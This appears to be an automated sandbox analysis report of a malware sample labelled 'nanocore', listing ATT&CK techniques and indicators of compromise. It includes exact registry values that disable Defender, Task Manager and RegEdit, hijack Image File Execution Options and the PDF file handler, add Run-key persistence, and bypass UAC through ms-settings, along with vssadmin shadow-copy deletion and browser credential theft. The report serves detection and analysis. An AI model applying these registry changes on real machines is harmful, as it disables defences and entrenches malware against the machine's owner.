nanocore | 94dc3f1e7c0d3b289a84a42b70f9a8eec2eddf247af5abc30a2d6d2bd093aefc

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	talk2us.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1248	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	talk2us.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	talk2us.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3884	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	talk2us.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	talk2us.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	talk2us.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1064	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	talk2us.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	talk2us.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	talk2us.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3204	wscript.exe
1620	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	talk2us.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
200	sc.exe
6096	sc.exe
4396	sc.exe
1348	sc.exe
3244	sc.exe
4832	sc.exe
5412	sc.exe
4516	sc.exe
764	sc.exe
4652	sc.exe
3844	sc.exe
2332	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5136	cmd.exe
1876	cmd.exe
4676	cmd.exe
4528	cmd.exe
4236	cmd.exe
1616	cmd.exe
3300	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5620	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2448	NETSTAT.EXE
4572	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2020	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4256	vssadmin.exe
3896	vssadmin.exe
4216	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Control Panel\Desktop\WallpaperStyle = "2"	talk2us.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308736822612244"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command	talk2us.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe"	talk2us.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command	talk2us.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell	talk2us.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	talk2us.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	talk2us.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\talk2us.io_chrome.exe\" \"%1\""	talk2us.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell	talk2us.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open	talk2us.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open\command\DelegateExecute	talk2us.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000_Classes\ms-settings\shell\open	talk2us.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	talk2us.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	talk2us.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4080	schtasks.exe
4136	schtasks.exe
2952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3916	chrome.exe
3916	chrome.exe
1248	powershell.exe
1248	powershell.exe
1248	powershell.exe
3376	WMIC.exe
3376	WMIC.exe
3376	WMIC.exe
3376	WMIC.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
3864	WMIC.exe
3864	WMIC.exe
3864	WMIC.exe
3864	WMIC.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
2492	WMIC.exe
2492	WMIC.exe
2492	WMIC.exe
2492	WMIC.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe
5312	talk2us.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5312	talk2us.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe
Token: SeIncreaseQuotaPrivilege	3376	WMIC.exe
Token: SeSecurityPrivilege	3376	WMIC.exe
Token: SeTakeOwnershipPrivilege	3376	WMIC.exe
Token: SeLoadDriverPrivilege	3376	WMIC.exe
Token: SeSystemProfilePrivilege	3376	WMIC.exe
Token: SeSystemtimePrivilege	3376	WMIC.exe
Token: SeProfSingleProcessPrivilege	3376	WMIC.exe
Token: SeIncBasePriorityPrivilege	3376	WMIC.exe
Token: SeCreatePagefilePrivilege	3376	WMIC.exe
Token: SeBackupPrivilege	3376	WMIC.exe
Token: SeRestorePrivilege	3376	WMIC.exe
Token: SeShutdownPrivilege	3376	WMIC.exe
Token: SeDebugPrivilege	3376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3376	WMIC.exe
Token: SeRemoteShutdownPrivilege	3376	WMIC.exe
Token: SeUndockPrivilege	3376	WMIC.exe
Token: SeManageVolumePrivilege	3376	WMIC.exe
Token: 33	3376	WMIC.exe
Token: 34	3376	WMIC.exe
Token: 35	3376	WMIC.exe
Token: 36	3376	WMIC.exe
Token: SeBackupPrivilege	1176	vssvc.exe
Token: SeRestorePrivilege	1176	vssvc.exe
Token: SeAuditPrivilege	1176	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3376	WMIC.exe
Token: SeSecurityPrivilege	3376	WMIC.exe
Token: SeTakeOwnershipPrivilege	3376	WMIC.exe
Token: SeLoadDriverPrivilege	3376	WMIC.exe
Token: SeSystemProfilePrivilege	3376	WMIC.exe
Token: SeSystemtimePrivilege	3376	WMIC.exe
Token: SeProfSingleProcessPrivilege	3376	WMIC.exe
Token: SeIncBasePriorityPrivilege	3376	WMIC.exe
Token: SeCreatePagefilePrivilege	3376	WMIC.exe
Token: SeBackupPrivilege	3376	WMIC.exe
Token: SeRestorePrivilege	3376	WMIC.exe
Token: SeShutdownPrivilege	3376	WMIC.exe
Token: SeDebugPrivilege	3376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3376	WMIC.exe
Token: SeRemoteShutdownPrivilege	3376	WMIC.exe
Token: SeUndockPrivilege	3376	WMIC.exe
Token: SeManageVolumePrivilege	3376	WMIC.exe
Token: 33	3376	WMIC.exe
Token: 34	3376	WMIC.exe
Token: 35	3376	WMIC.exe
Token: 36	3376	WMIC.exe
Token: SeShutdownPrivilege	3916	chrome.exe
Token: SeCreatePagefilePrivilege	3916	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5312	talk2us.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5312 wrote to memory of 3916	5312	talk2us.io_chrome.exe	89
PID 3916 wrote to memory of 5468	3916	chrome.exe	90
PID 5312 wrote to memory of 1248	5312	talk2us.io_chrome.exe	91
PID 5312 wrote to memory of 4832	5312	talk2us.io_chrome.exe	93
PID 5312 wrote to memory of 5412	5312	talk2us.io_chrome.exe	95
PID 3916 wrote to memory of 5444	3916	chrome.exe	96
PID 3916 wrote to memory of 5444	3916	chrome.exe	96
PID 3916 wrote to memory of 5620	3916	chrome.exe	97
PID 3916 wrote to memory of 4780	3916	chrome.exe	98
PID 3916 wrote to memory of 4780	3916	chrome.exe	98
PID 3916 wrote to memory of 252	3916	chrome.exe	101
PID 3916 wrote to memory of 5704	3916	chrome.exe	102
PID 3916 wrote to memory of 252	3916	chrome.exe	101
PID 3916 wrote to memory of 5704	3916	chrome.exe	102
PID 5312 wrote to memory of 6096	5312	talk2us.io_chrome.exe	103
PID 5312 wrote to memory of 4516	5312	talk2us.io_chrome.exe	183
PID 5312 wrote to memory of 764	5312	talk2us.io_chrome.exe	107
PID 5312 wrote to memory of 4652	5312	talk2us.io_chrome.exe	109
PID 3916 wrote to memory of 1804	3916	chrome.exe	110
PID 3916 wrote to memory of 1804	3916	chrome.exe	110
PID 5312 wrote to memory of 3844	5312	talk2us.io_chrome.exe	112
PID 5312 wrote to memory of 2332	5312	talk2us.io_chrome.exe	114
PID 5312 wrote to memory of 4460	5312	talk2us.io_chrome.exe	116
PID 5312 wrote to memory of 4396	5312	talk2us.io_chrome.exe	129
PID 4460 wrote to memory of 5984	4460	fodhelper.exe	188
PID 5312 wrote to memory of 1348	5312	talk2us.io_chrome.exe	120
PID 5312 wrote to memory of 4216	5312	talk2us.io_chrome.exe	122
PID 5312 wrote to memory of 3376	5312	talk2us.io_chrome.exe	124
PID 5312 wrote to memory of 3204	5312	talk2us.io_chrome.exe	131
PID 5312 wrote to memory of 4080	5312	talk2us.io_chrome.exe	162
